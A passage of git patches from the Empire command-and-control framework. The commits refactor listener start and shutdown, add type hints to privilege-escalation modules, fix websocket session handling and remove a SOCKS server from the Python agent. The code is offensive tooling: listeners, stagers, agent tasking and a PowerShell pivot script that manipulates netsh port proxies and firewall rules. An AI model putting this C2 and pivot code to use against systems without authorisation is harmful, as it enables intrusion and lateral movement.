main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/multi/bashdoor.py b/empire/server/modules/python/privesc/multi/bashdoor.py index 30ef34310..a4c1816fb 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.py +++ b/empire/server/modules/python/privesc/multi/bashdoor.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index a17c21146..f9c253505 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py index 51a63af14..7645db5c8 100644 --- a/empire/server/modules/python/privesc/osx/dyld_print_to_file.py +++ b/empire/server/modules/python/privesc/osx/dyld_print_to_file.py @@ -1,5 +1,6 @@ import logging +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule log = logging.getLogger(__name__) @@ -8,7 +9,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index acf82165f..df630f8ba 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -1,3 +1,4 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule from empire.server.utils.module_util import handle_error_message @@ -5,7 +6,7 @@ class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py index d7cb1a07b..09ebd34ae 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py +++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/server/stagers/osx/shellcode.py b/empire/server/stagers/osx/shellcode.py index 56abb3795..4bb49efeb 100644 --- a/empire/server/stagers/osx/shellcode.py +++ b/empire/server/stagers/osx/shellcode.py @@ -71,7 +71,7 @@ def generate(self): user_agent = self.options["UserAgent"]["Value"] safe_checks = self.options["SafeChecks"]["Value"] - if not self.mainMenu.listeners.is_listener_valid(listener_name): + if not self.mainMenu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script print(helpers.color("[!] Invalid listener: " + listener_name)) return "" diff --git a/empire/server/stagers/windows/dll.py b/empire/server/stagers/windows/dll.py index 5e074f17c..44a21a895 100644 --- a/empire/server/stagers/windows/dll.py +++ b/empire/server/stagers/windows/dll.py @@ -100,7 +100,7 @@ def generate(self): obfuscate_command = self.options["ObfuscateCommand"]["Value"] bypasses = self.options["Bypasses"]["Value"] - if not self.mainMenu.listeners.is_listener_valid( + if not self.mainMenu.listenersv2.get_active_listener_by_name( listener_name ) and not self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name): # not a valid listener, return nothing for the script diff --git a/empire/server/stagers/windows/shellcode.py b/empire/server/stagers/windows/shellcode.py index 80a9c4ff8..643fbc11b 100644 --- a/empire/server/stagers/windows/shellcode.py +++ b/empire/server/stagers/windows/shellcode.py @@ -118,7 +118,7 @@ def generate(self): obfuscate_command = self.options["ObfuscateCommand"]["Value"] arch = self.options["Architecture"]["Value"] - if not self.mainMenu.listeners.is_listener_valid(listener_name): + if not self.mainMenu.listenersv2.get_active_listener_by_name(listener_name): # not a valid listener, return nothing for the script return "[!] Invalid listener: " + listener_name diff --git a/empire/test/data/modules/test_custom_module.py b/empire/test/data/modules/test_custom_module.py index 74ceeb8d7..904b4bbbd 100644 --- a/empire/test/data/modules/test_custom_module.py +++ b/empire/test/data/modules/test_custom_module.py @@ -1,10 +1,11 @@ +from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule class Module: @staticmethod def generate( - main_menu, + main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, diff --git a/empire/test/test_modules.py b/empire/test/test_modules.py index cc1b5702a..ae6cfadc4 100644 --- a/empire/test/test_modules.py +++ b/empire/test/test_modules.py @@ -119,7 +119,7 @@ def test_execute_custom_generate( db_agent = ( db.query(models.Agent).filter(models.Agent.session_id == agent).first() ) - execute = module_service.execute_module( + execute, err = module_service.execute_module( db, db_agent, "empire_test_data_modules_test_custom_module", @@ -128,5 +128,5 @@ def test_execute_custom_generate( ignore_language_version_check=True, ) - assert execute is not None - assert execute[0]["data"] == "This is the module code." + assert err is None + assert execute["data"] == "This is the module code." From bde2f71f9032262cce2c04be9c56473eb6f4996d Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 29 Nov 2023 19:02:43 -0700 Subject: [PATCH 24/29] remove name arg from listener start and shutdown (#734) --- CHANGELOG.md | 1 + empire/server/common/empire.py | 2 +- empire/server/core/listener_service.py | 6 +- empire/server/listeners/dbx.py | 41 +++----- empire/server/listeners/http.py | 41 +++----- empire/server/listeners/http_com.py | 41 +++----- empire/server/listeners/http_foreign.py | 6 +- empire/server/listeners/http_hop.py | 4 +- empire/server/listeners/http_malleable.py | 44 +++------ empire/server/listeners/onedrive.py | 41 +++----- empire/server/listeners/port_forward_pivot.py | 99 ++++++++++--------- empire/server/listeners/smb.py | 5 +- empire/server/listeners/template.py | 35 +++---- 13 files changed, 138 insertions(+), 228 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 59ad87e76..20020944f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -29,6 +29,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Removed usages of deprecated `Credentials` and `Listeners` functions (@Vinnybod) - Remove usages of deprecated `Agents` functions (@Vinnybod) - Add typehinting for `MainMenu` object in modules (@Vinnybod) +- Removed `name` property from listener start and shutdown functions (@Vinnybod) ### Removed diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index fdfa03ab1..b904bd0de 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -107,7 +107,7 @@ def shutdown(self): """ log.info("Empire shutting down...") - # enumerate all active servers/listeners and shut them down + log.info("Shutting down listeners...") self.listenersv2.shutdown_listeners() log.info("Shutting down plugins...") diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py index a57503b64..90d8b02be 100644 --- a/empire/server/core/listener_service.py +++ b/empire/server/core/listener_service.py @@ -112,7 +112,7 @@ def create_listener(self, db: Session, listener_req): def stop_listener(self, db_listener: models.Listener): if self._active_listeners.get(db_listener.id): - self._active_listeners[db_listener.id].shutdown(name=db_listener.name) + self._active_listeners[db_listener.id].shutdown() del self._active_listeners[db_listener.id] def delete_listener(self, db: Session, db_listener: models.Listener): @@ -135,7 +135,7 @@ def start_existing_listener(self, db: Session, listener: models.Listener): log.error(err) return None, err - success = template_instance.start(name=listener.name) + success = template_instance.start() db.flush() if success: @@ -160,7 +160,7 @@ def _start_listener(self, db: Session, template_instance, template_name): name = template_instance.options["Name"]["Value"] try: log.info(f"v2: Starting listener '{name}'") - success = template_instance.start(name=name) + success = template_instance.start() if success: listener_options = copy.deepcopy(template_instance.options) diff --git a/empire/server/listeners/dbx.py b/empire/server/listeners/dbx.py index 5f02cbf29..9983b0716 100755 --- a/empire/server/listeners/dbx.py +++ b/empire/server/listeners/dbx.py @@ -125,7 +125,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} + self.thread = None # optional/specific for this module @@ -1016,40 +1016,23 @@ def delete_file(dbx, path): stagingKey, responseData, listenerOptions ) - def start(self, name=""): + def start(self): """ Start a threaded instance of self.start_server() and store it in the - self.threads dictionary keyed by the listener name. + self.thread property. """ listenerOptions = self.options - if name and name != "": - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(3) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() - else: - name = listenerOptions["Name"]["Value"] - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(3) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() - def shutdown(self, name=""): + def shutdown(self): """ - Terminates the server thread stored in the self.threads dictionary, - keyed by the listener name. + Terminates the server thread stored in the self.thread property. """ - if name and name != "": - to_kill = name - else: - to_kill = self.options["Name"]["Value"] - + to_kill = self.options["Name"]["Value"] self.instance_log.info(f"{to_kill}: shutting down...") log.info(f"{to_kill}: shutting down...") - self.threads[to_kill].kill() + self.thread.kill() diff --git a/empire/server/listeners/http.py b/empire/server/listeners/http.py index fae7dacc7..5d32f885a 100755 --- a/empire/server/listeners/http.py +++ b/empire/server/listeners/http.py @@ -158,7 +158,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} + self.thread = None # optional/specific for this module self.app = None @@ -1251,40 +1251,23 @@ def handle_post(request_uri): exc_info=True, ) - def start(self, name=""): + def start(self): """ Start a threaded instance of self.start_server() and store it in the - self.threads dictionary keyed by the listener name. + self.thread property. """ listenerOptions = self.options - if name and name != "": - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() - else: - name = listenerOptions["Name"]["Value"] - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() - def shutdown(self, name=""): + def shutdown(self): """ - Terminates the server thread stored in the self.threads dictionary, - keyed by the listener name. + Terminates the server thread stored in the self.thread property. """ - if name and name != "": - to_kill = name - else: - to_kill = self.options["Name"]["Value"] - + to_kill = self.options["Name"]["Value"] self.instance_log.info(f"{to_kill}: shutting down...") log.info(f"{to_kill}: shutting down...") - self.threads[to_kill].kill() + self.thread.kill() diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index f7dd9ea43..ed3c72a22 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -137,7 +137,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} + self.thread = None # optional/specific for this module self.app = None @@ -849,40 +849,23 @@ def handle_post(request_uri): self.instance_log.error(message1, exc_info=True) self.instance_log.error(message2, exc_info=True) - def start(self, name=""): + def start(self): """ Start a threaded instance of self.start_server() and store it in the - self.threads dictionary keyed by the listener name. + self.thread property. """ listenerOptions = self.options - if name and name != "": - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() - else: - name = listenerOptions["Name"]["Value"] - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() - def shutdown(self, name=""): + def shutdown(self): """ - Terminates the server thread stored in the self.threads dictionary, - keyed by the listener name. + Terminates the server thread stored in the self.thread property. """ - if name and name != "": - to_kill = name - else: - to_kill = self.options["Name"]["Value"] - + to_kill = self.options["Name"]["Value"] self.instance_log.info(f"{to_kill}: shutting down...") log.info(f"{to_kill}: shutting down...") - self.threads[to_kill].kill() + self.thread.kill() diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index d129fe6f0..21b87a6b0 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -110,7 +110,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} + self.thread = None # optional/specific for this module self.app = None @@ -465,13 +465,13 @@ def generate_comms(self, listenerOptions, language=None): else: log.error("listeners/http_foreign generate_comms(): no language specified!") - def start(self, name=""): + def start(self): """ Nothing to actually start for a foreign listner. """ return True - def shutdown(self, name=""): + def shutdown(self): """ Nothing to actually shut down for a foreign listner. """ diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index 2c8f6301c..046ed8d50 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -87,7 +87,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} + self.thread = None self.instance_log = log @@ -540,7 +540,7 @@ def generate_comms(self, listenerOptions, language=None): else: log.error("listeners/http_hop generate_comms(): no language specified!") - def start(self, name=""): + def start(self): """ Nothing to actually start for a hop listner, but ensure the stagingKey is synced with the redirect listener. diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 3237ce612..f30aeef78 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -139,7 +139,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} # used to keep track of any threaded instances of this server + self.thread = None # optional/specific for this module self.app = None @@ -1764,44 +1764,26 @@ def handle_request(request_uri="", tempListenerOptions=None): self.instance_log.error(message, exc_info=True) log.error(message, exc_info=True) - def start(self, name=""): + def start(self): """ - Start a threaded instance of self.start_server() and store it in - the self.threads dictionary keyed by the listener name. + Start a threaded instance of self.start_server() and store it in the + self.thread property. """ self.instance_log = log_util.get_listener_logger( LOG_NAME_PREFIX, self.options["Name"]["Value"] ) - listenerOptions = self.options - if name and name != "": - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() - else: - name = listenerOptions["Name"]["Value"] - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(1) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() - def shutdown(self, name=""): + def shutdown(self): """ - Terminates the server thread stored in the self.threads dictionary, - keyed by the listener name. + Terminates the server thread stored in the self.thread property. """ - if name and name != "": - to_kill = name - else: - to_kill = self.options["Name"]["Value"] - + to_kill = self.options["Name"]["Value"] self.instance_log.info(f"{to_kill}: shutting down...") log.info(f"{to_kill}: shutting down...") - self.threads[to_kill].kill() + self.thread.kill() diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 5010fed85..efc02d680 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -146,7 +146,7 @@ def __init__(self, mainMenu: MainMenu): self.stager_url = "" self.mainMenu = mainMenu - self.threads = {} + self.thread = None self.options["StagingKey"]["Value"] = str( data_util.get_config("staging_key")[0] @@ -885,40 +885,23 @@ def upload_stager(): s.close() - def start(self, name=""): + def start(self): """ Start a threaded instance of self.start_server() and store it in the - self.threads dictionary keyed by the listener name. + self.thread property. """ listenerOptions = self.options - if name and name != "": - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(3) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() - else: - name = listenerOptions["Name"]["Value"] - self.threads[name] = helpers.KThread( - target=self.start_server, args=(listenerOptions,) - ) - self.threads[name].start() - time.sleep(3) - # returns True if the listener successfully started, false otherwise - return self.threads[name].is_alive() + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() - def shutdown(self, name=""): + def shutdown(self): """ - Terminates the server thread stored in the self.threads dictionary, - keyed by the listener name. + Terminates the server thread stored in the self.thread property. """ - if name and name != "": - to_kill = name - else: - to_kill = self.options["Name"]["Value"] - + to_kill = self.options["Name"]["Value"] self.instance_log.info(f"{to_kill}: shutting down...") log.info(f"{to_kill}: shutting down...") - self.threads[to_kill].kill() + self.thread.kill() diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py index abf0ef59f..d1cfe280c 100755 --- a/empire/server/listeners/port_forward_pivot.py +++ b/empire/server/listeners/port_forward_pivot.py @@ -63,7 +63,7 @@ def __init__(self, mainMenu: MainMenu): # required: self.mainMenu = mainMenu - self.threads = {} # used to keep track of any threaded instances of this server + self.thread = None self.instance_log = log @@ -677,12 +677,13 @@ def generate_comms(self, listenerOptions, language=None): else: log.error("listeners/http generate_comms(): no language specified!") - def start(self, name=""): + def start(self): """ If a server component needs to be started, implement the kick off logic here and the actual server code in another function to facilitate threading (i.e. start_server() in the http listener). """ + name = self.options["Name"]["Value"] try: tempOptions = copy.deepcopy(self.options) with SessionLocal.begin() as db: @@ -853,53 +854,53 @@ def start(self, name=""): log.error(f'Listener "{name}" failed to start') return False - def shutdown(self, name=""): + def shutdown(self): """ If a server component was started, implement the logic that kills the particular named listener here. """ - if name and name != "": - self.instance_log.info(f"{name}: shutting down...") - log.info(f"{name}: shutting down...") - - with SessionLocal() as db: - agent = self.mainMenu.agentsv2.get_by_name(db, name) - - if not agent: - log.error("Agent is not present in the cache or not elevated") - return - - if agent.high_integrity: - if agent.language.startswith("po"): - script = """ - function Invoke-Redirector { - param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - if($ShowAll){ - $out = netsh interface portproxy show all - if($out){ - $out - } - else{ - "[*] no redirectors currently configured" - } + name = self.options["Name"]["Value"] + self.instance_log.info(f"{name}: shutting down...") + log.info(f"{name}: shutting down...") + + with SessionLocal() as db: + agent = self.mainMenu.agentsv2.get_by_name(db, name) + + if not agent: + log.error("Agent is not present in the cache or not elevated") + return + + if agent.high_integrity: + if agent.language.startswith("po"): + script = """ + function Invoke-Redirector { + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) + if($ShowAll){ + $out = netsh interface portproxy show all + if($out){ + $out } - elseif($Reset){ - Netsh.exe advfirewall firewall del rule name="$FirewallName" - $out = netsh interface portproxy reset - if($out){ - $out - } - else{ - "[+] successfully removed all redirectors" - } + else{ + "[*] no redirectors currently configured" + } + } + elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" + $out = netsh interface portproxy reset + if($out){ + $out } else{ - if((-not $ListenPort)){ - "[!] netsh error: required option not specified" - } - else{ - $ConnectAddress = "" - $ConnectPort = "" + "[+] successfully removed all redirectors" + } + } + else{ + if((-not $ListenPort)){ + "[!] netsh error: required option not specified" + } + else{ + $ConnectAddress = "" + $ConnectPort = "" $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ @@ -941,12 +942,12 @@ def shutdown(self, name=""): } Invoke-Redirector""" - script += " -Reset" - script += f" -FirewallName {agent.session_id}" + script += " -Reset" + script += f" -FirewallName {agent.session_id}" - self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) - msg = "Tasked agent to uninstall Pivot listener " - self.mainMenu.agents.save_agent_log(agent.session_id, msg) + self.mainMenu.agenttasksv2.create_task_shell(db, agent, script) + msg = "Tasked agent to uninstall Pivot listener " + self.mainMenu.agents.save_agent_log(agent.session_id, msg) - elif agent.language.startswith("py"): - log.error("Shutdown not implemented for python") + elif agent.language.startswith("py"): + log.error("Shutdown not implemented for python") diff --git a/empire/server/listeners/smb.py b/empire/server/listeners/smb.py index 781b2d5bc..d49b8b8fa 100755 --- a/empire/server/listeners/smb.py +++ b/empire/server/listeners/smb.py @@ -415,13 +415,14 @@ def generate_comms(self, listenerOptions, language=None): else: log.error("generate_comms(): no language specified!") - def start(self, name=""): + def start(self): """ If a server component needs to be started, implement the kick off logic here and the actual server code in another function to facilitate threading (i.e. start_server() in the http listener). """ try: + name = self.options["Name"]["Value"] tempOptions = copy.deepcopy(self.options) with SessionLocal() as db: @@ -480,7 +481,7 @@ def start(self, name=""): except Exception: return False - def shutdown(self, name=""): + def shutdown(self): """ If a server component was started, implement the logic that kills the particular named listener here. diff --git a/empire/server/listeners/template.py b/empire/server/listeners/template.py index 14523d851..7b654beb5 100644 --- a/empire/server/listeners/template.py +++ b/empire/server/listeners/template.py @@ -1,4 +1,5 @@ import random +import time # Empire imports from empire.server.common import helpers @@ -129,7 +130,7 @@ def __init__(self, mainMenu): # required: self.mainMenu = mainMenu - self.threads = {} # used to keep track of any threaded instances of this server + self.thread = None # optional/specific for this module @@ -305,31 +306,23 @@ def generate_comms(self, listenerOptions, language=None): ) ) - def start(self, name=""): + def start_server(self): + pass + + def start(self): """ If a server component needs to be started, implement the kick off logic here and the actual server code in another function to facilitate threading (i.e. start_server() in the http listener). """ - - # listenerOptions = self.options - # if name and name != '': - # self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) - # self.threads[name].start() - # time.sleep(1) - # # returns True if the listener successfully started, false otherwise - # return self.threads[name].is_alive() - # else: - # name = listenerOptions['Name']['Value'] - # self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) - # self.threads[name].start() - # time.sleep(1) - # # returns True if the listener successfully started, false otherwise - # return self.threads[name].is_alive() - - return True - - def shutdown(self, name=""): + listenerOptions = self.options + self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.thread.start() + time.sleep(1) + # returns True if the listener successfully started, false otherwise + return self.thread.is_alive() + + def shutdown(self): """ If a server component was started, implement the logic that kills the particular named listener here. From bc6bbc6752e871f3430bf001f15978145433302a Mon Sep 17 00:00:00 2001 From: Vincent Rose Date: Wed, 29 Nov 2023 19:02:52 -0700 Subject: [PATCH 25/29] fix database session management for websockets (#733) --- CHANGELOG.md | 4 + empire/server/api/v2/websocket/socketio.py | 101 +++++++++++---------- 2 files changed, 56 insertions(+), 49 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 20020944f..bfd16a716 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -35,6 +35,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Remove unused migration scripts (@Vinnybod) +### Fixed + +- Fixed the database session management for websocket endpoints (@Vinnybod) + ## [5.8.0] - 2023-11-06 diff --git a/empire/server/api/v2/websocket/socketio.py b/empire/server/api/v2/websocket/socketio.py index 35c174072..ab8e8a804 100644 --- a/empire/server/api/v2/websocket/socketio.py +++ b/empire/server/api/v2/websocket/socketio.py @@ -30,30 +30,29 @@ def setup_socket_events(sio, empire_menu): sid_to_user = {} - async def get_user_from_token(sid, token): - user = await jwt_auth.get_current_user(SessionLocal(), token) + async def get_user_from_token(sid, token, db: Session): + user = await jwt_auth.get_current_user(db, token) if user is None: return False sid_to_user[sid] = user.id return user - def get_user_from_sid(sid): + def get_user_from_sid(sid, db: Session): user_id = sid_to_user.get(sid) if user_id is None: return None - return ( - SessionLocal().query(models.User).filter(models.User.id == user_id).first() - ) + return db.query(models.User).filter(models.User.id == user_id).first() @sio.on("connect") async def on_connect(sid, environ, auth): try: - user = await get_user_from_token(sid, auth["token"]) - if user: - log.info(f"{user.username} connected to socketio") - return + with SessionLocal() as db: + user = await get_user_from_token(sid, auth["token"], db) + if user: + log.info(f"{user.username} connected to socketio") + return except HTTPException: # If a server is restarted and clients are still connected, there are # sometimes token handling errors. We want to reject these since they fail @@ -64,10 +63,11 @@ async def on_connect(sid, environ, auth): @sio.on("disconnect") async def on_disconnect(sid): - user = get_user_from_sid(sid) - log.info( - f"{'Client' if user is None else user.username} disconnected from socketio" - ) + with SessionLocal() as db: + user = get_user_from_sid(sid, db) + log.info( + f"{'Client' if user is None else user.username} disconnected from socketio" + ) @sio.on("chat/join") async def on_join(sid, data=None): @@ -77,40 +77,42 @@ async def on_join(sid, data=None): The server fails if a client sends data when none is expected. :return: emits a join event with the user's details. """ - user = get_user_from_sid(sid) - if user.username not in chat_participants: - chat_participants[user.username] = user.username - sio.enter_room(sid, room) - await sio.emit( - "chat/join", - { - "user": domain_to_dto_user(user), - "username": user.username, - "message": f"{user.username} has entered the room.", - }, - room=room, - ) - - @sio.on("chat/leave") - async def on_leave(sid, data=None): - """ - The calling user gets removed from the "general" chat room. - :return: emits a leave event with the user's details. - """ - user = get_user_from_sid(sid) - if user is not None: - chat_participants.pop(user.username, None) - sio.leave_room(sid, room) + with SessionLocal() as db: + user = get_user_from_sid(sid, db) + if user.username not in chat_participants: + chat_participants[user.username] = user.username + await sio.enter_room(sid, room) await sio.emit( - "chat/leave", + "chat/join", { "user": domain_to_dto_user(user), "username": user.username, - "message": user.username + " has left the room.", + "message": f"{user.username} has entered the room.", }, room=room, ) + @sio.on("chat/leave") + async def on_leave(sid, data=None): + """ + The calling user gets removed from the "general" chat room. + :return: emits a leave event with the user's details. + """ + with SessionLocal() as db: + user = get_user_from_sid(sid, db) + if user is not None: + chat_participants.pop(user.username, None) + await sio.leave_room(sid, room) + await sio.emit( + "chat/leave", + { + "user": domain_to_dto_user(user), + "username": user.username, + "message": user.username + " has left the room.", + }, + room=room, + ) + @sio.on("chat/message") async def on_message(sid, data): """ @@ -118,15 +120,16 @@ async def on_message(sid, data): :param data: contains the user's message. :return: Emits a message event containing the message and the user's username """ - user = get_user_from_sid(sid) - if isinstance(data, str): - data = json.loads(data) - chat_log.append({"username": user.username, "message": data["message"]}) - await sio.emit( - "chat/message", - {"username": user.username, "message": data["message"]}, - room=room, - ) + with SessionLocal() as db: + user = get_user_from_sid(sid, db) + if isinstance(data, str): + data = json.loads(data) + chat_log.append({"username": user.username, "message": data["message"]}) + await sio.emit( + "chat/message", + {"username": user.username, "message": data["message"]}, + room=room, + ) @sio.on("chat/history") async def on_history(sid, data=None): From 4ffbdb755bc0dc98287312ae1f34fb8cd147ddd8 Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Thu, 30 Nov 2023 09:54:33 -0500 Subject: [PATCH 26/29] Removed secretsocks as dependency for Python agents (#729) * Apply suggestions from code review * changelog --------- Co-authored-by: Vincent Rose --- CHANGELOG.md | 1 + empire/server/data/agent/agent.py | 87 +++++-------------------------- 2 files changed, 13 insertions(+), 75 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index bfd16a716..1f67f56e4 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Remove usages of deprecated `Agents` functions (@Vinnybod) - Add typehinting for `MainMenu` object in modules (@Vinnybod) - Removed `name` property from listener start and shutdown functions (@Vinnybod) +- Removed secretsocks as dependency for Python agents (@Cx01N) ### Removed diff --git a/empire/server/data/agent/agent.py b/empire/server/data/agent/agent.py index 862e42721..f0e3a5cf4 100644 --- a/empire/server/data/agent/agent.py +++ b/empire/server/data/agent/agent.py @@ -26,8 +26,6 @@ from os.path import expanduser from threading import Thread -import secretsocks - ################################################ # # agent configuration information @@ -168,40 +166,6 @@ def remove_hook(repoName): # Socks Server # ################################################ -class Server(secretsocks.Server): - # Initialize our data channel - def __init__(self, q, resultID): - secretsocks.Server.__init__(self) - self.queue = q - self.resultID = resultID - self.alive = True - self.start() - - # Receive data from our data channel and push it to the receive queue - def recv(self): - while self.alive: - try: - data = self.queue.get() - self.recvbuf.put(data) - except socket.timeout: - continue - except: - self.alive = False - - # Take data from the write queue and send it over our data channel - def write(self): - while self.alive: - try: - data = self.writebuf.get(timeout=10) - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 61, base64.b64encode(data).decode("UTF-8"), self.resultID - ) - ) - except Queue.Empty: - continue - except: - self.alive = False ################################################ @@ -606,41 +570,6 @@ def stop_job(self, jobID, resultID): ) ) - def start_socks_server(self, resultID): - """ - Start a SOCKS server on the target. - Task 60 - """ - # Create a server object in its own thread - if not self.socksthread: - try: - self.socksqueue = Queue.Queue() - self.jobs[resultID] = KThread( - target=Server, - args=( - self.socksqueue, - resultID, - ), - ) - self.jobs[resultID].daemon = True - self.jobs[resultID].start() - self.socksthread = True - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 60, "[+] SOCKS server successfully started", resultID - ) - ) - except: - self.socksthread = False - self.packet_handler.send_message( - self.packet_handler.build_response_packet( - 60, "[!] SOCKS server failed to start", resultID - ) - ) - else: - self.packet_handler.send_message( - self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", resultID) - ) def start_smb_pipe_server(self, data, resultID): """ @@ -1207,10 +1136,18 @@ def process_packet(self, packetType, data, resultID): 